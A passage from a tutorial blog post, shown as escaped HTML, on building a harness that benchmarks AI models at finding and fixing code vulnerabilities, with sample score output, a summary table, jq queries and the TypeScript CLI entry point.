&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Config:  Claude Sonnet 4.6 (no MCP)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Score (F1): 91%&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Tokens:  74,757 total  (in: 271, out: 134  cache-read: 65,172, cache-write: 9,180)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Time:    55.2s  |  Turns: 5  |  Files: 11&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Recall:    100%  (5/5 known vulns found)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Precision: 83%   (1 false positives)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Missed:    none&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;All tools:  (12 calls across 2 tool types)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  Read: 11x, avg 6ms, ~242 in / ~2,558 out tokens (est)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  Bash: 1x, avg 595ms, ~35 in / ~2,219 out tokens (est)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the &lt;code&gt;Score (F1):&lt;/code&gt; label — for find-vulns, the score is an F1; for fix-vulns, it’s a fix rate. Making this explicit in the label avoids confusion when reading results.&lt;/p&gt;
&lt;p&gt;The summary table at the end compares all runs side by side:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;══════════════════════════════════════════════════════════════════════&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;BENCHMARK SUMMARY&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;══════════════════════════════════════════════════════════════════════&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Task             Config      Score  Tokens   Time(s)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;───────────────  ──────────  ─────  ───────  ───────&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;js-find-vulns    opus-4-6    91%    183,221  45.2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;js-find-vulns    sonnet-4-6  83%    74,757   55.2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;python-find-vulns opus-4-6   85%    201,400  52.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;python-find-vulns sonnet-4-6 78%    91,223   61.3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each run is also appended to a JSONL file (&lt;code&gt;results/benchmark-&amp;#x3C;timestamp&gt;.jsonl&lt;/code&gt;) for post-hoc analysis:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Which config had the best recall?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;jq &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;select(.details.recall != null) | {config: .runConfigId, recall: .details.recall}&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; results/&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.jsonl&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Total cost across all runs (rough)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;jq &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.metrics | (.totalInputTokens * 3 + .totalOutputTokens * 15 + .totalCacheReadTokens * 0.3 + .totalCacheCreationTokens * 3.75) / 1000000&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; results/&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.jsonl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;step-8-putting-it-all-together--the-cli&quot;&gt;Step 8: Putting it all together — the CLI&lt;/h2&gt;
&lt;p&gt;The entry point wires everything up:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;parseArgs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();        &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// --task, --config, --category, --dry-run&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;tasks&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;loadEvalTasks&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;configs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;loadRunConfigs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Filter based on CLI flags&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;filteredTasks&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; tasks&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;opts.task &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; t.id &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; opts.task)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;opts.category &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; t.category.id &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; opts.category);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;filteredConfigs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; configs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;opts.config &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; c.id &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; opts.config);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Print the plan&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`Benchmark: ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;filteredTasks&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;} task(s) × ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;filteredConfigs&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;} config(s) = ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;filteredTasks&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;filteredConfigs&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;} run(s)`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;task&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; filteredTasks) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`  ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;task&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}  [${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;task&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;category&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}]`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; filteredConfigs) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`    └─ ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}: ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;model&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (opts.dryRun) { console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Dry run — exiting.&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;); &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Run the matrix&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;results&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;EvalResult&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; filteredConfigs) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;task&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; filteredTasks) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;runEval&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(task, config);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;printResult&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(result);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      results.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(result);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;printSummaryTable&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(results);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;saveResults&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(results, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;RESULTS_DIR&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Results saved to: ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;package.json&lt;/code&gt; scripts make it easy to run slices of the benchmark:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;benchmark&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;tsx src/index.ts&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
